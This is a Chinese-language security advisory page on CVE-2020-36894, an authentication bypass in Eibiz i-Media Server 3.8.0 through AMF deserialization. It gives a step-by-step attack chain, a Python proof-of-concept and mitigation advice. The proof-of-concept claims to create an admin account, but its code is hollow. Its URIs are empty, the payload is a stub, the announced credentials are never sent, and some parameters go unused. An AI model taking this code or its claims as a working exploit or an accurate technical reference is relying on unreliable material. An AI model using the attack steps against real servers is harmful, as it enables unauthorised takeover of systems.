IPBUF安全漏洞报告
English
CVE-2020-36894 CVSS 7.5 高危

CVE-2020-36894 Eibiz i-Media Server 身份验证绕过漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2020-36894
漏洞类型
身份验证绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Eibiz i-Media Server Digital Signage

相关标签

身份验证绕过AMF反序列化未授权访问远程代码执行Eibiz i-Media Server数字标牌系统CVE-2020-36894

漏洞概述

CVE-2020-36894是Eibiz i-Media Server Digital Signage 3.8.0版本中存在的一个高危身份验证绕过漏洞。该漏洞允许未经身份验证的远程攻击者通过操纵AMF(Action Message Format)序列化的对象,在目标系统上创建具有管理员权限的用户账户。攻击者无需任何有效的凭据即可利用此漏洞,成功利用后可获得系统的完全控制权限。此漏洞的CVSS评分达到7.5分,属于高危级别,对企业网络安全构成严重威胁。攻击者利用Adobe AMF协议中的反序列化机制缺陷,发送精心构造的恶意序列化对象到/messagebroker/amf端点,从而绕过系统的身份验证机制。这一漏洞特别危险,因为它不需要任何用户交互,攻击者可以在任何能够访问目标服务器网络的位置发起攻击。

技术细节

该漏洞存在于Eibiz i-Media Server的AMF消息处理端点(/messagebroker/amf)中。AMF是一种用于Flash/Flex应用与服务器之间通信的二进制协议格式,采用Adobe的序列化格式。系统在该端点接收AMF编码的请求时,未对反序列化对象进行充分的安全验证。攻击者可以通过构造特定的AMF消息,在反序列化过程中触发任意对象实例化,进而调用系统内部方法来创建新用户账户。漏洞利用的关键在于AMF协议允许发送自定义的Class Metadata,攻击者可以指定任意类名和方法调用。当服务器接收到恶意构造的AMF消息后,反序列化过程会实例化攻击者指定的类并执行相应方法。攻击者通过这一机制调用用户管理功能,在系统中添加新的管理员账户,从而完全绕过身份验证机制。由于系统默认未对AMF端点实施严格的访问控制,任何未授权用户都可以向该端点发送恶意请求。

攻击链分析

STEP 1
步骤1
信息收集:识别目标服务器上运行的Eibiz i-Media Server Digital Signage版本,确认版本为3.8.0或存在漏洞的其他版本
STEP 2
步骤2
构造AMF恶意请求:攻击者创建包含用户创建指令的AMF序列化对象,指定要创建的管理员用户名和密码
STEP 3
步骤3
发送恶意请求:向目标服务器的/messagebroker/amf端点发送HTTP POST请求,内容类型为application/x-amf
STEP 4
步骤4
触发反序列化漏洞:服务器接收到AMF消息后进行反序列化处理,恶意对象被实例化并执行用户创建方法
STEP 5
步骤5
绕过身份验证:由于系统未对AMF端点进行身份验证校验,攻击者成功创建新的管理员账户
STEP 6
步骤6
获得系统控制权:使用新创建的管理员凭据登录系统,获取完整的数字标牌管理权限,可能进一步横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2020-36894 PoC - Eibiz i-Media Server Authentication Bypass This exploit creates an admin user by manipulating AMF serialized objects. """ import struct import socket import sys def create_amf_message(): """ Create AMF message to create admin user """ # AMF Message Header amf_data = bytearray() # Message type for AMF0 or AMF3 amf_data.append(0x00) # AMF0 encoding # Target URI (Flex messaging destination) target = "" # Flex destination amf_data.extend(struct.pack('>H', len(target))) amf_data.extend(target.encode('utf-8')) # Response URI response = "" # Response handler amf_data.extend(struct.pack('>H', len(response))) amf_data.extend(response.encode('utf-8')) # AMF Data - Array with user creation parameters # This is a simplified representation amf_data.append(0x11) # AMF3 array type return bytes(amf_data) def send_exploit(target_host, target_port, lhost, lport): """ Send exploit payload to target server """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Creating admin user with credentials: admin:password123") # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) try: sock.connect((target_host, target_port)) print("[+] Connected to target server") # Send HTTP POST request with AMF payload amf_payload = create_amf_message() http_request = f"POST /messagebroker/amf HTTP/1.1\r\n" http_request += f"Host: {target_host}:{target_port}\r\n" http_request += "Content-Type: application/x-amf\r\n" http_request += f"Content-Length: {len(amf_payload)}\r\n" http_request += "\r\n\r\n" sock.sendall(http_request.encode() + amf_payload) print("[+] Exploit payload sent") # Receive response response = sock.recv(4096) print(f"[+] Received response: {response[:200]}") return True except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve-2020-36894.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_exploit(target, port, "127.0.0.1", 4444)

影响范围

Eibiz i-Media Server Digital Signage 3.8.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)通过网络层访问控制列表(ACL)限制对/messagebroker/amf端点的访问,仅允许受信任的IP地址访问;2)在前端反向代理中对该端点实施强制身份验证;3)部署Web应用防火墙规则来检测和阻止异常的AMF序列化payload;4)如果业务不需要AMF功能,考虑暂时禁用该服务;5)加强对该端点的日志监控和告警机制,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表